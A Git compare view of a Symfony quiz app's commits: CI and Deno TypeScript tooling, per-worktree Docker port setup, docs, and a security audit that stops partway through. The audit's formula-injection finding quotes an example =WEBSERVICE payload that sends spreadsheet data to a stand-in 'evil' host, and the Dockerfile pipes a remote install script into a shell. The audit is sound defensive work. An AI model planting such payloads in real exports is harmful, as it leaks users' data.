mirror of
https://github.com/MarijnDoeve/TijdVoorDeTest.git
synced 2026-07-13 13:25:19 +02:00
Compare commits
13 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
89e7dd09ba
|
|||
|
cd293aa86f
|
|||
|
4f3a6fbc89
|
|||
|
7d8722eec5
|
|||
| ee408cd065 | |||
| b4a27a7c0d | |||
| 4e98909f11 | |||
| a6f1c3cecd | |||
| 8382900b9e | |||
| c2637481f2 | |||
| 938456087a | |||
| 33a0e8a584 | |||
| 2fd15ba8fa |
+21
-1
@@ -12,7 +12,12 @@ while IFS= read -r file; do
|
|||||||
[[ -n "$file" ]] && STAGED_TWIG+=("$file")
|
[[ -n "$file" ]] && STAGED_TWIG+=("$file")
|
||||||
done < <(git diff --cached --name-only --diff-filter=ACMR | grep -E '\.twig$' || true)
|
done < <(git diff --cached --name-only --diff-filter=ACMR | grep -E '\.twig$' || true)
|
||||||
|
|
||||||
if [[ ${#STAGED_PHP[@]} -eq 0 && ${#STAGED_TWIG[@]} -eq 0 ]]; then
|
STAGED_TS=()
|
||||||
|
while IFS= read -r file; do
|
||||||
|
[[ -n "$file" ]] && STAGED_TS+=("$file")
|
||||||
|
done < <(git diff --cached --name-only --diff-filter=ACMR | grep -E '\.ts$' || true)
|
||||||
|
|
||||||
|
if [[ ${#STAGED_PHP[@]} -eq 0 && ${#STAGED_TWIG[@]} -eq 0 && ${#STAGED_TS[@]} -eq 0 ]]; then
|
||||||
exit 0
|
exit 0
|
||||||
fi
|
fi
|
||||||
|
|
||||||
@@ -46,3 +51,18 @@ if [[ ${#STAGED_TWIG[@]} -gt 0 ]]; then
|
|||||||
"${DOCKER_CMD[@]}" vendor/bin/twig-cs-fixer fix "${STAGED_TWIG[@]}"
|
"${DOCKER_CMD[@]}" vendor/bin/twig-cs-fixer fix "${STAGED_TWIG[@]}"
|
||||||
git add "${STAGED_TWIG[@]}"
|
git add "${STAGED_TWIG[@]}"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
if [[ ${#STAGED_TS[@]} -gt 0 ]]; then
|
||||||
|
echo "TypeScript (${#STAGED_TS[@]} file(s)): Deno fmt → lint → check"
|
||||||
|
|
||||||
|
echo " → Deno fmt"
|
||||||
|
"${DOCKER_CMD[@]}" deno fmt "${STAGED_TS[@]}"
|
||||||
|
git add "${STAGED_TS[@]}"
|
||||||
|
|
||||||
|
echo " → Deno lint"
|
||||||
|
"${DOCKER_CMD[@]}" deno lint --fix "${STAGED_TS[@]}"
|
||||||
|
git add "${STAGED_TS[@]}"
|
||||||
|
|
||||||
|
echo " → Deno check"
|
||||||
|
"${DOCKER_CMD[@]}" deno check "${STAGED_TS[@]}"
|
||||||
|
fi
|
||||||
|
|||||||
@@ -70,6 +70,8 @@ jobs:
|
|||||||
set: |
|
set: |
|
||||||
*.cache-from=type=gha,scope=${{github.ref}}-devbuild
|
*.cache-from=type=gha,scope=${{github.ref}}-devbuild
|
||||||
- name: Start services
|
- name: Start services
|
||||||
|
env:
|
||||||
|
HTTP_PORT: "80"
|
||||||
run: docker compose up php database --wait --no-build
|
run: docker compose up php database --wait --no-build
|
||||||
- name: Warm up dev cache
|
- name: Warm up dev cache
|
||||||
run: docker compose exec -T php bin/console cache:warmup --env=dev
|
run: docker compose exec -T php bin/console cache:warmup --env=dev
|
||||||
@@ -93,6 +95,31 @@ jobs:
|
|||||||
id: rector
|
id: rector
|
||||||
continue-on-error: true
|
continue-on-error: true
|
||||||
run: docker compose exec -T php vendor/bin/rector process --dry-run --no-progress-bar --output-format=github
|
run: docker compose exec -T php vendor/bin/rector process --dry-run --no-progress-bar --output-format=github
|
||||||
|
- name: Translations
|
||||||
|
id: translations
|
||||||
|
continue-on-error: true
|
||||||
|
run: |
|
||||||
|
docker compose exec -T php bin/console translation:extract --force --format=xliff --sort=asc nl
|
||||||
|
if ! git diff --exit-code -- translations; then
|
||||||
|
echo "::error::Translations are out of date. Run 'just translations' and commit the changes."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
- name: TypeScript Formatting
|
||||||
|
id: ts_fmt
|
||||||
|
continue-on-error: true
|
||||||
|
run: docker compose exec -T php deno fmt --check assets/
|
||||||
|
- name: TypeScript Lint
|
||||||
|
id: ts_lint
|
||||||
|
continue-on-error: true
|
||||||
|
run: docker compose exec -T php deno lint assets/
|
||||||
|
- name: TypeScript Type Check
|
||||||
|
id: ts_check
|
||||||
|
continue-on-error: true
|
||||||
|
run: docker compose exec -T php deno check assets/
|
||||||
|
- name: TypeScript Tests
|
||||||
|
id: ts_test
|
||||||
|
continue-on-error: true
|
||||||
|
run: docker compose exec -T php deno test assets/
|
||||||
- name: Check HTTP reachability
|
- name: Check HTTP reachability
|
||||||
run: curl -v --fail-with-body http://localhost
|
run: curl -v --fail-with-body http://localhost
|
||||||
- name: Assert all checks passed
|
- name: Assert all checks passed
|
||||||
@@ -111,6 +138,11 @@ jobs:
|
|||||||
check "Twig Coding Style" "${{ steps.twig_cs.outcome }}"
|
check "Twig Coding Style" "${{ steps.twig_cs.outcome }}"
|
||||||
check "PHPStan" "${{ steps.phpstan.outcome }}"
|
check "PHPStan" "${{ steps.phpstan.outcome }}"
|
||||||
check "Rector" "${{ steps.rector.outcome }}"
|
check "Rector" "${{ steps.rector.outcome }}"
|
||||||
|
check "Translations" "${{ steps.translations.outcome }}"
|
||||||
|
check "TypeScript Formatting" "${{ steps.ts_fmt.outcome }}"
|
||||||
|
check "TypeScript Lint" "${{ steps.ts_lint.outcome }}"
|
||||||
|
check "TypeScript Type Check" "${{ steps.ts_check.outcome }}"
|
||||||
|
check "TypeScript Tests" "${{ steps.ts_test.outcome }}"
|
||||||
exit $failed
|
exit $failed
|
||||||
|
|
||||||
tests:
|
tests:
|
||||||
@@ -123,6 +155,7 @@ jobs:
|
|||||||
checks: write
|
checks: write
|
||||||
pull-requests: write
|
pull-requests: write
|
||||||
contents: read
|
contents: read
|
||||||
|
code-quality: write
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7
|
uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7
|
||||||
@@ -143,6 +176,8 @@ jobs:
|
|||||||
run: docker compose up php database --wait --no-build
|
run: docker compose up php database --wait --no-build
|
||||||
- name: Build SCSS
|
- name: Build SCSS
|
||||||
run: docker compose exec -T php bin/console sass:build
|
run: docker compose exec -T php bin/console sass:build
|
||||||
|
- name: Build TypeScript
|
||||||
|
run: docker compose exec -T php bin/console typescript:build
|
||||||
- name: Create test database
|
- name: Create test database
|
||||||
run: docker compose exec -T php bin/console -e test doctrine:database:create
|
run: docker compose exec -T php bin/console -e test doctrine:database:create
|
||||||
- name: Run migrations
|
- name: Run migrations
|
||||||
@@ -150,13 +185,26 @@ jobs:
|
|||||||
- name: Load fixtures
|
- name: Load fixtures
|
||||||
run: docker compose exec -T php bin/console -e test doctrine:fixtures:load --no-interaction --group=test
|
run: docker compose exec -T php bin/console -e test doctrine:fixtures:load --no-interaction --group=test
|
||||||
- name: Run PHPUnit
|
- name: Run PHPUnit
|
||||||
run: docker compose exec -T -e MAILER_DSN=null://null php vendor/bin/phpunit --log-junit var/phpunit/junit.xml
|
# Reports are written outside var/ since var/ is a Docker volume (see the Dockerfile's
|
||||||
|
# VOLUME /app/var/) and isn't bind-mounted to the runner, unlike the rest of the project.
|
||||||
|
run: docker compose exec -T -e MAILER_DSN=null://null php vendor/bin/phpunit --log-junit reports/junit.xml --coverage-cobertura reports/coverage/cobertura.xml
|
||||||
- name: Publish PHPUnit test results
|
- name: Publish PHPUnit test results
|
||||||
if: always()
|
if: always()
|
||||||
uses: mikepenz/action-junit-report@d9f48fc87bc235f7e214acf696ca5abc0a986f16 # v6
|
uses: mikepenz/action-junit-report@d9f48fc87bc235f7e214acf696ca5abc0a986f16 # v6
|
||||||
with:
|
with:
|
||||||
report_paths: var/phpunit/junit.xml
|
report_paths: reports/junit.xml
|
||||||
check_name: PHPUnit
|
check_name: PHPUnit
|
||||||
|
- name: Upload code coverage
|
||||||
|
# Requires "Code Quality" to be enabled for this repository under
|
||||||
|
# Settings > Code security > Code quality; fail-on-error is false so CI
|
||||||
|
# doesn't go red before that one-time, manual repository setting is turned on.
|
||||||
|
if: github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name == github.repository
|
||||||
|
uses: actions/upload-code-coverage@82c7aee3fb2ad768e00b00a0a8d749c5815085b6 # v1
|
||||||
|
with:
|
||||||
|
file: reports/coverage/cobertura.xml
|
||||||
|
language: PHP
|
||||||
|
label: phpunit
|
||||||
|
fail-on-error: false
|
||||||
- name: Doctrine Schema Validator
|
- name: Doctrine Schema Validator
|
||||||
run: docker compose exec -T php bin/console -e test doctrine:schema:validate
|
run: docker compose exec -T php bin/console -e test doctrine:schema:validate
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
/frankenphp/data
|
/frankenphp/data
|
||||||
|
/reports/
|
||||||
|
|
||||||
### Generated by gibo (https://github.com/simonwhitaker/gibo)
|
### Generated by gibo (https://github.com/simonwhitaker/gibo)
|
||||||
### https://raw.github.com/github/gitignore/6eeebe6f49678aacd8311ce079842c971b3ebe96/Symfony.gitignore
|
### https://raw.github.com/github/gitignore/6eeebe6f49678aacd8311ce079842c971b3ebe96/Symfony.gitignore
|
||||||
|
|||||||
@@ -23,7 +23,7 @@ Tech Stack:
|
|||||||
- **ORM**: Doctrine
|
- **ORM**: Doctrine
|
||||||
- **Server**: FrankenPHP with Caddy
|
- **Server**: FrankenPHP with Caddy
|
||||||
- **Container**: Docker Compose
|
- **Container**: Docker Compose
|
||||||
- **Frontend**: Twig templates with SASS (via asset mapper)
|
- **Frontend**: Twig templates with SASS and TypeScript (via asset mapper)
|
||||||
- **Testing**: PHPUnit 13 with DAMA Doctrine test bundle
|
- **Testing**: PHPUnit 13 with DAMA Doctrine test bundle
|
||||||
|
|
||||||
## Build & Development Commands
|
## Build & Development Commands
|
||||||
@@ -40,6 +40,24 @@ just shell # Interactive shell inside the PHP container
|
|||||||
just shell-run # Shell in a fresh one-off container
|
just shell-run # Shell in a fresh one-off container
|
||||||
```
|
```
|
||||||
|
|
||||||
|
### Working in git worktrees
|
||||||
|
|
||||||
|
`just up` auto-runs `just init` first, which generates a gitignored `.env.local` per checkout with a unique
|
||||||
|
`COMPOSE_PROJECT_NAME`, `IMAGES_PREFIX`, and free `HTTP_PORT`/`HTTPS_PORT`/`POSTGRES_PORT`/`MAILPIT_PORT`/
|
||||||
|
`SPOTLIGHT_PORT`. This means every worktree gets its own containers, network, volumes, and image tag — running
|
||||||
|
`just up` in two worktrees at the same time does **not** make them share a database, image, or port, even if the
|
||||||
|
worktree directories have the same basename.
|
||||||
|
|
||||||
|
- Run `just ports` to see the ports assigned to the *current* checkout — the app for that worktree is at
|
||||||
|
`https://localhost:<HTTPS_PORT>`, not a fixed port. Never assume port 8080/8443/5432/etc. when working inside a
|
||||||
|
worktree; always check `.env.local` or `just ports` first.
|
||||||
|
- `.env.local` is generated once and reused; it's safe to run `just init`/`just up` repeatedly. Delete `.env.local`
|
||||||
|
and re-run `just init` to force new ports (e.g. if the assigned ones are now taken by something else).
|
||||||
|
- Each worktree's Postgres data, uploaded files, and Caddy state live in per-worktree Docker volumes — nothing is
|
||||||
|
shared with the main checkout or other worktrees. Migrations/fixtures must be (re-)run per worktree.
|
||||||
|
- `just down`/`just clean` in one worktree only ever affects that worktree's own containers/volumes — safe to run
|
||||||
|
without impacting other worktrees.
|
||||||
|
|
||||||
### Database
|
### Database
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
@@ -234,7 +252,8 @@ question counts as covered more than once).
|
|||||||
|
|
||||||
- **Write the failing test first.** When fixing any PHP-reachable bug, write a PHPUnit test that reproduces the failure
|
- **Write the failing test first.** When fixing any PHP-reachable bug, write a PHPUnit test that reproduces the failure
|
||||||
before touching the production code. Fix the code until the test passes.
|
before touching the production code. Fix the code until the test passes.
|
||||||
- Only skip a test if the bug is purely in JavaScript/frontend where PHPUnit cannot reach it.
|
- For bugs in `assets/*.ts` logic, write a `deno test` first instead — same TDD rule, different runner. Only skip a
|
||||||
|
test if the bug is in markup/DOM wiring that isn't worth a test per the rule below.
|
||||||
- Don't write tests for trivial presentational markup (e.g. asserting a tooltip/popover attribute or a CSS class exists
|
- Don't write tests for trivial presentational markup (e.g. asserting a tooltip/popover attribute or a CSS class exists
|
||||||
in a template). Tests cover behavior: routing, forms, persistence, authorization.
|
in a template). Tests cover behavior: routing, forms, persistence, authorization.
|
||||||
- Follow the pattern in `tests/Controller/Backoffice/` for controller/integration tests: log in, GET for CSRF token,
|
- Follow the pattern in `tests/Controller/Backoffice/` for controller/integration tests: log in, GET for CSRF token,
|
||||||
@@ -245,6 +264,11 @@ question counts as covered more than once).
|
|||||||
- **Boy Scout Rule**: when you're already touching a file for an unrelated change, fix small nearby issues in the same
|
- **Boy Scout Rule**: when you're already touching a file for an unrelated change, fix small nearby issues in the same
|
||||||
commit (e.g. a test that unnecessarily extends `WebTestCase`, a stale comment) rather than leaving them for later —
|
commit (e.g. a test that unnecessarily extends `WebTestCase`, a stale comment) rather than leaving them for later —
|
||||||
but don't let this balloon into an unrelated refactor.
|
but don't let this balloon into an unrelated refactor.
|
||||||
|
- **Scope creep as a service**: when a review (yours or `/code-review`'s) turns up a real bug or gap outside the
|
||||||
|
original task's scope — even in already-merged code untouched by the current diff — fix it in the same MR rather
|
||||||
|
than just reporting it and moving on. Write a regression test first per the TDD rule above. Only leave something
|
||||||
|
unaddressed if fixing it would require a design decision only a human can make (e.g. reverting an intentional
|
||||||
|
security/access-control choice) — in that case, say so explicitly instead of silently skipping it.
|
||||||
|
|
||||||
### Code Style & Standards
|
### Code Style & Standards
|
||||||
|
|
||||||
@@ -258,6 +282,11 @@ question counts as covered more than once).
|
|||||||
- **Twig-CS-Fixer**: Template style enforcement
|
- **Twig-CS-Fixer**: Template style enforcement
|
||||||
- **Safe functions**: Use `thecodingmachine/safe` wrappers for standard PHP functions that return `false` on failure —
|
- **Safe functions**: Use `thecodingmachine/safe` wrappers for standard PHP functions that return `false` on failure —
|
||||||
they throw exceptions instead
|
they throw exceptions instead
|
||||||
|
- **TypeScript (`assets/`)**: Compiled via `sensiolabs/typescript-bundle` (standalone SWC binary, no Node/npm).
|
||||||
|
Formatting, linting, type-checking, and tests use **Deno** (`deno fmt` / `deno lint` / `deno check` / `deno test`) —
|
||||||
|
a single standalone binary, kept dev-only (installed in the `frankenphp_dev` Docker stage, not prod), consistent
|
||||||
|
with the project's no-Node-anywhere approach. See `deno.json` for config; run via `just fix-ts` / `just check-ts` /
|
||||||
|
`just test-ts`. Tests live alongside their source as `*_test.ts` files
|
||||||
|
|
||||||
### Environment Configuration
|
### Environment Configuration
|
||||||
|
|
||||||
@@ -288,6 +317,7 @@ GitHub Actions workflow (`.github/workflows/ci.yml`):
|
|||||||
- Twig-CS-Fixer style check
|
- Twig-CS-Fixer style check
|
||||||
- PHPStan static analysis
|
- PHPStan static analysis
|
||||||
- Rector dry-run
|
- Rector dry-run
|
||||||
|
- Translation extraction check (fails if `translation:extract` produces uncommitted changes)
|
||||||
3. **Integration Tests**:
|
3. **Integration Tests**:
|
||||||
- Docker image build and start services
|
- Docker image build and start services
|
||||||
- Database creation and migration
|
- Database creation and migration
|
||||||
|
|||||||
@@ -62,11 +62,18 @@ ENV APP_ENV=dev XDEBUG_MODE=off
|
|||||||
# hadolint ignore=DL3008
|
# hadolint ignore=DL3008
|
||||||
RUN apt-get update && apt-get install -y --no-install-recommends \
|
RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||||
bash-completion \
|
bash-completion \
|
||||||
|
unzip \
|
||||||
&& rm -rf /var/lib/apt/lists/*
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
COPY --link frankenphp/console-complete.bash /usr/share/bash-completion/completions/console
|
COPY --link frankenphp/console-complete.bash /usr/share/bash-completion/completions/console
|
||||||
COPY --link frankenphp/composer-complete.bash /usr/share/bash-completion/completions/composer
|
COPY --link frankenphp/composer-complete.bash /usr/share/bash-completion/completions/composer
|
||||||
|
|
||||||
|
# Deno: standalone binary (no Node/npm) used for TypeScript lint/format/type-check/test,
|
||||||
|
# dev-only tooling so it's not installed in the prod stage.
|
||||||
|
ENV DENO_INSTALL=/usr/local
|
||||||
|
# hadolint ignore=DL4006
|
||||||
|
RUN curl -fsSL https://deno.land/install.sh | sh -s v2.9.2
|
||||||
|
|
||||||
RUN mv "$PHP_INI_DIR/php.ini-development" "$PHP_INI_DIR/php.ini"
|
RUN mv "$PHP_INI_DIR/php.ini-development" "$PHP_INI_DIR/php.ini"
|
||||||
|
|
||||||
RUN set -eux; \
|
RUN set -eux; \
|
||||||
|
|||||||
@@ -1,9 +1,94 @@
|
|||||||
up *args:
|
# Load per-worktree overrides (project name, image tag, ports) generated by `just init`
|
||||||
|
set dotenv-load := true
|
||||||
|
set dotenv-filename := ".env.local"
|
||||||
|
|
||||||
|
# Generate a per-worktree COMPOSE_PROJECT_NAME, IMAGES_PREFIX and free host ports in .env.local,
|
||||||
|
# so multiple worktrees/checkouts of this repo can run `just up` at the same time without their
|
||||||
|
# containers, volumes, images or ports colliding. Also points CADDY_DATA_DIR at a location shared
|
||||||
|
# by all worktrees of the same clone, so they reuse one self-signed CA/cert instead of generating
|
||||||
|
# their own. Safe to re-run; no-ops if already configured.
|
||||||
|
init:
|
||||||
|
#!/usr/bin/env bash
|
||||||
|
set -euo pipefail
|
||||||
|
if [ -f .env.local ] && grep -q '^COMPOSE_PROJECT_NAME=' .env.local; then
|
||||||
|
if ! grep -q '^CADDY_DATA_DIR=' .env.local; then
|
||||||
|
git_common_dir=$(git rev-parse --path-format=absolute --git-common-dir)
|
||||||
|
echo "CADDY_DATA_DIR=${git_common_dir}/tvdt-caddy-data" >> .env.local
|
||||||
|
echo "Backfilled CADDY_DATA_DIR into existing .env.local."
|
||||||
|
fi
|
||||||
|
echo ".env.local already configured for this worktree, skipping (delete it to regenerate)."
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
free_port() {
|
||||||
|
local port="$1" max="$2"
|
||||||
|
while [ "$port" -le "$max" ]; do
|
||||||
|
if ! (exec 3<>/dev/tcp/127.0.0.1/"$port") 2>/dev/null; then
|
||||||
|
echo "$port"
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
exec 3>&- 2>/dev/null || true
|
||||||
|
port=$((port + 1))
|
||||||
|
done
|
||||||
|
echo "no free port found between $1 and $2" >&2
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
if command -v sha1sum >/dev/null 2>&1; then
|
||||||
|
hash_cmd=(sha1sum)
|
||||||
|
elif command -v shasum >/dev/null 2>&1; then
|
||||||
|
hash_cmd=(shasum)
|
||||||
|
else
|
||||||
|
hash_cmd=(sha256sum)
|
||||||
|
fi
|
||||||
|
hash=$(pwd | "${hash_cmd[@]}" | cut -c1-8)
|
||||||
|
project="tvdt-${hash}"
|
||||||
|
http_port=$(free_port 8080 8179)
|
||||||
|
https_port=$(free_port 8443 8542)
|
||||||
|
postgres_port=$(free_port 5430 5529)
|
||||||
|
mailpit_port=$(free_port 8025 8124)
|
||||||
|
spotlight_port=$(free_port 8969 9068)
|
||||||
|
# .git is shared by all worktrees of the same clone, so anchoring the Caddy data dir
|
||||||
|
# (self-signed CA + TLS certs) there instead of under the worktree lets every worktree
|
||||||
|
# reuse the same CA, avoiding a fresh cert (and a fresh `just trust-cert`) per checkout.
|
||||||
|
git_common_dir=$(git rev-parse --path-format=absolute --git-common-dir)
|
||||||
|
caddy_data_dir="${git_common_dir}/tvdt-caddy-data"
|
||||||
|
{
|
||||||
|
echo "COMPOSE_PROJECT_NAME=${project}"
|
||||||
|
echo "IMAGES_PREFIX=${project}-"
|
||||||
|
echo "HTTP_PORT=${http_port}"
|
||||||
|
echo "HTTPS_PORT=${https_port}"
|
||||||
|
echo "POSTGRES_PORT=${postgres_port}"
|
||||||
|
echo "MAILPIT_PORT=${mailpit_port}"
|
||||||
|
echo "SPOTLIGHT_PORT=${spotlight_port}"
|
||||||
|
echo "CADDY_DATA_DIR=${caddy_data_dir}"
|
||||||
|
} >> .env.local
|
||||||
|
echo "Generated .env.local for this worktree:"
|
||||||
|
cat .env.local
|
||||||
|
|
||||||
|
up *args: init
|
||||||
|
#!/usr/bin/env bash
|
||||||
|
set -a
|
||||||
|
[ -f .env.local ] && source .env.local
|
||||||
|
set +a
|
||||||
docker compose up -d {{ args }}
|
docker compose up -d {{ args }}
|
||||||
|
|
||||||
down *args:
|
down *args:
|
||||||
docker compose down --remove-orphans {{ args }}
|
docker compose down --remove-orphans {{ args }}
|
||||||
|
|
||||||
|
# Show the URLs (and DB connection) assigned to this worktree (see `just init`)
|
||||||
|
ports:
|
||||||
|
#!/usr/bin/env bash
|
||||||
|
set -euo pipefail
|
||||||
|
if [ ! -f .env.local ]; then
|
||||||
|
echo "No .env.local yet, run 'just up' or 'just init' first."
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
set -a
|
||||||
|
source .env.local
|
||||||
|
set +a
|
||||||
|
echo "Tvdt: https://localhost:${HTTPS_PORT}"
|
||||||
|
echo "Mailpit: http://localhost:${MAILPIT_PORT}"
|
||||||
|
echo "Spotlight: http://localhost:${SPOTLIGHT_PORT}"
|
||||||
|
|
||||||
stop:
|
stop:
|
||||||
docker compose stop
|
docker compose stop
|
||||||
|
|
||||||
@@ -40,6 +125,16 @@ phpstan *args:
|
|||||||
test *args:
|
test *args:
|
||||||
docker compose exec php vendor/bin/phpunit {{ args }}
|
docker compose exec php vendor/bin/phpunit {{ args }}
|
||||||
|
|
||||||
|
fix-ts:
|
||||||
|
docker compose exec php deno fmt assets/
|
||||||
|
docker compose exec php deno lint --fix assets/
|
||||||
|
|
||||||
|
check-ts:
|
||||||
|
docker compose exec php deno check assets/
|
||||||
|
|
||||||
|
test-ts *args:
|
||||||
|
docker compose exec php deno test assets/ {{ args }}
|
||||||
|
|
||||||
[confirm]
|
[confirm]
|
||||||
clean:
|
clean:
|
||||||
docker compose down -v --remove-orphans
|
docker compose down -v --remove-orphans
|
||||||
@@ -56,8 +151,13 @@ install-hooks:
|
|||||||
chmod +x .githooks/pre-commit
|
chmod +x .githooks/pre-commit
|
||||||
@echo "Pre-commit hook installed."
|
@echo "Pre-commit hook installed."
|
||||||
|
|
||||||
trust-cert:
|
trust-cert: init
|
||||||
|
#!/usr/bin/env bash
|
||||||
|
set -euo pipefail
|
||||||
|
set -a
|
||||||
|
source .env.local
|
||||||
|
set +a
|
||||||
sudo security add-trusted-cer -d \
|
sudo security add-trusted-cer -d \
|
||||||
-r trustRoot \
|
-r trustRoot \
|
||||||
-k "$HOME/Library/Keychains/login.keychain" \
|
-k "$HOME/Library/Keychains/login.keychain" \
|
||||||
./frankenphp/data/caddy/pki/authorities/local/root.crt
|
"${CADDY_DATA_DIR:-./frankenphp/data}/caddy/pki/authorities/local/root.crt"
|
||||||
|
|||||||
@@ -25,8 +25,13 @@ just migrate # Run pending database migrations
|
|||||||
just fixtures # Load dev fixtures (truncates first)
|
just fixtures # Load dev fixtures (truncates first)
|
||||||
```
|
```
|
||||||
|
|
||||||
The app is available at **https://localhost** (self-signed cert — run
|
`just up` first runs `just init`, which generates a `.env.local` (gitignored)
|
||||||
`just trust-cert` on macOS to trust it).
|
with a unique `COMPOSE_PROJECT_NAME`, image tag and free host ports for this
|
||||||
|
checkout, so multiple worktrees/clones can run at the same time without their
|
||||||
|
containers, volumes, images or ports colliding. Run `just ports` to see the
|
||||||
|
ports assigned to the current checkout — the app is served at
|
||||||
|
`https://localhost:<HTTPS_PORT>` (self-signed cert — run `just trust-cert` on
|
||||||
|
macOS to trust it).
|
||||||
|
|
||||||
### Useful commands
|
### Useful commands
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,104 @@
|
|||||||
|
# Security Audit — Tijd voor de test
|
||||||
|
|
||||||
|
**Date:** 2026-07-12
|
||||||
|
**Branch:** `declare-ext-intl-ext-zip`
|
||||||
|
**Scope:** Full codebase — authentication/authorization, injection & output encoding, config/secrets/infrastructure, quiz business-logic abuse, and dependency audits. Read-only scan; no files were modified.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
| # | Severity | Finding | Location |
|
||||||
|
|---|----------|---------|----------|
|
||||||
|
| 1 | High | ~~`PrepareEliminationController` has no authorization guard~~ **Fixed 2026-07-13** | `src/Controller/Backoffice/PrepareEliminationController.php:21-65` |
|
||||||
|
| 2 | High | Production PostgreSQL published to host + default-password fallback | `compose.prod.yaml:27-28`, `compose.yaml:11,30` |
|
||||||
|
| 3 | Medium | ~~Spreadsheet formula injection in exports~~ **Fixed 2026-07-13** | `src/Service/QuizSpreadsheetService.php`, `src/Service/DataExportService.php` |
|
||||||
|
| 4 | Medium | ~~No login throttling / brute-force protection~~ **Fixed 2026-07-13** | `config/packages/security.yaml:17-29` |
|
||||||
|
| 5 | Medium | Open self-registration grants immediate backoffice access | `src/Controller/RegistrationController.php:40-56` |
|
||||||
|
| 6 | Low | Double-submit race can inflate score | `src/Controller/QuizController.php:120-128` |
|
||||||
|
| 7 | Low | Answer-POST path never checks `isFinalized`/`isLocked` | `src/Controller/QuizController.php:102-131` |
|
||||||
|
| 8 | Low | Server-side formula evaluation of uploaded XLSX | `src/Service/QuizSpreadsheetService.php:68` |
|
||||||
|
| 9 | Low | Containers run as root | `Dockerfile` |
|
||||||
|
| 10 | Low | No security response headers in prod | `frankenphp/Caddyfile:45` |
|
||||||
|
| 11 | Low | Committed `APP_SECRET` (dev-only) | `.env.dev:3` |
|
||||||
|
| 12 | Low | `zend.exception_ignore_args = Off` in prod | `frankenphp/conf.d/10-app.ini:15` |
|
||||||
|
|
||||||
|
**Dependencies are clean:** `composer audit` and `bin/console importmap:audit` both report zero known-CVE advisories.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## High
|
||||||
|
|
||||||
|
### 1. `PrepareEliminationController` has no authorization guard — FIXED
|
||||||
|
|
||||||
|
**File:** `src/Controller/Backoffice/PrepareEliminationController.php:21-65`
|
||||||
|
|
||||||
|
The class carried no `#[IsGranted]` at class or method level — unlike every sibling controller, and unlike `EliminationController` which guards with `SeasonVoter::ELIMINATION`. Both routes were gated only by the blanket `^/backoffice → IS_AUTHENTICATED` rule.
|
||||||
|
|
||||||
|
- `viewElimination` (line 46) both reads and, on POST, rewrites any elimination via `updateFromInputBag()` + `flush()`.
|
||||||
|
- `index` (line 32) never checked that `$quiz` belonged to `$season`.
|
||||||
|
|
||||||
|
**Failure scenario:** Any authenticated user who obtained or guessed another season's quiz/elimination UUID could rewrite that season's red/green elimination screens.
|
||||||
|
|
||||||
|
**Fix applied:** Added `#[IsGranted(SeasonVoter::ELIMINATION, 'quiz')]` to `index` and `#[IsGranted(SeasonVoter::ELIMINATION, 'elimination')]` to `viewElimination`, matching the pattern used everywhere else. Regression tests `testIndexIsDeniedForNonOwner` and `testViewEliminationIsDeniedForNonOwner` were added to `tests/Controller/Backoffice/PrepareEliminationControllerTest.php` (written first, confirmed failing against the old code, now passing). Full suite (290 tests), PHPStan, Rector, and CS-Fixer all pass.
|
||||||
|
|
||||||
|
### 2. Production PostgreSQL published to host with default-password fallback
|
||||||
|
|
||||||
|
**Files:** `compose.prod.yaml:27-28`, `compose.yaml:11,30`
|
||||||
|
|
||||||
|
- `compose.prod.yaml:27-28` publishes `5430:5432` in the *production* override; the DB should stay on the `internal` network only.
|
||||||
|
- `compose.yaml:11,30` default `POSTGRES_PASSWORD` to `!ChangeMe!`, and `compose.prod.yaml` never sets it — so if the Portainer stack env omits it, prod silently runs with a publicly-known password.
|
||||||
|
|
||||||
|
**Failure scenario:** Internet-reachable database with a known default credential → full read/write of user hashes, quiz data, reset-password tokens.
|
||||||
|
|
||||||
|
**Fix:** Drop the port publish from the prod override; make `POSTGRES_PASSWORD` mandatory with no fallback in prod.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Medium
|
||||||
|
|
||||||
|
### 3. Spreadsheet formula injection in exports — FIXED
|
||||||
|
|
||||||
|
**Files:** `src/Service/QuizSpreadsheetService.php:132,136`; `src/Service/DataExportService.php:208,237,249-265,328,393-403`
|
||||||
|
|
||||||
|
All user-controlled strings were written to XLSX via `setCellValue()`/`fromArray()` with no quote-prefixing or value-binder override. PhpSpreadsheet stores any string starting with `=` as a live formula.
|
||||||
|
|
||||||
|
**Failure scenario:** Seasons support multiple owners, so a co-owner could name an answer/candidate `=WEBSERVICE("http://evil/?"&A1)`; when another owner opened the quiz export or GDPR zip in Excel, the formula would execute/exfiltrate.
|
||||||
|
|
||||||
|
**Fix applied:** Added `src/Helpers/FormulaInjectionSafeValueBinder.php`, a `DefaultValueBinder` override that forces any string starting with `= + - @` (or a leading tab/CR) to be stored as a plain string data type instead of being auto-detected as a formula. Wired it in via `Cell::setValueBinder()` in the constructors of `QuizSpreadsheetService` and `DataExportService`, so it's active before any cell is written. Regression tests added: `tests/Helpers/FormulaInjectionSafeValueBinderTest.php` (unit-level), plus `testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString` and `testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString` (written first, confirmed failing against the old code, now passing).
|
||||||
|
|
||||||
|
### 4. No login throttling / brute-force protection — FIXED
|
||||||
|
|
||||||
|
**File:** `config/packages/security.yaml:17-29`
|
||||||
|
|
||||||
|
